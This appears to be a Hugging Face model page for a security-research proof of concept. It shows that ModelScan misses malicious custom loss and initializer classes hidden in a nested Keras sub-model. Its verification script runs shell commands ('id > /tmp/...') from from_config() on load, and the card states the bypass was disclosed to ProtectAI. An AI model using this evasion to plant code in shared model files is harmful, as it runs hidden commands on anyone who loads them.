Instructions to use xiaoyaoes/modelscan-nested-model-bypass with libraries, inference providers, notebooks, and local apps. Follow these links to get started.
- Libraries
- Keras
How to use xiaoyaoes/modelscan-nested-model-bypass with Keras:
# Available backend options are: "jax", "torch", "tensorflow". import os os.environ["KERAS_BACKEND"] = "jax" import keras model = keras.saving.load_model("hf://xiaoyaoes/modelscan-nested-model-bypass") - Notebooks
- Google Colab
- Kaggle
| library_name: keras | |
| tags: | |
| - security-research | |
| - modelscan-bypass | |
| - nested-model | |
| - rce | |
| - compile-config | |
| - initializer | |
| # ModelScan Nested Model Bypass β All Deserialization Layers Invisible | |
| ## What This Is | |
| ModelScan only scans the TOP-LEVEL model's layers for `class_name == "Lambda"`. When a model contains another model as a layer (Sequential/Functional sub-model), the ENTIRE internal structure β including compile_config, initializers, regularizers, constraints β is **completely invisible**. | |
| This .keras file: | |
| - Outer model wraps a Sequential sub-model as a layer | |
| - Sequential has custom loss (`NestedLoss>BadLoss`) with malicious `from_config()` | |
| - Sequential has a layer with custom initializer (`NestedInit>BadInit`) with malicious `from_config()` | |
| - ModelScan: **0 Issues, 0 Errors, 0 Skipped** | |
| ## Verify | |
| ```bash | |
| python3 -c " | |
| import tensorflow as tf, keras, os | |
| @keras.saving.register_keras_serializable(package='NestedLoss') | |
| class BadLoss(tf.keras.losses.MeanSquaredError): | |
| @classmethod | |
| def from_config(cls, config): | |
| import os; os.system('id > /tmp/NL') | |
| return super().from_config(config) | |
| @keras.saving.register_keras_serializable(package='NestedInit') | |
| class BadInit(tf.keras.initializers.GlorotUniform): | |
| @classmethod | |
| def from_config(cls, config): | |
| import os; os.system('id > /tmp/NI') | |
| return super().from_config(config) | |
| model = tf.keras.models.load_model('model.keras', safe_mode=False) | |
| print('Loss RCE:', os.path.exists('/tmp/NL')) | |
| print('Init RCE:', os.path.exists('/tmp/NI')) | |
| " | |
| ``` | |
| ## Why This Matters | |
| Nested models place their compile_config at `layer.compile_config` (not `model.compile_config`). Even if ModelScan fixes the top-level scan, nested sub-models provide an end-run. | |
| ## Disclosure | |
| Submitted to ProtectAI via huntr.dev. | |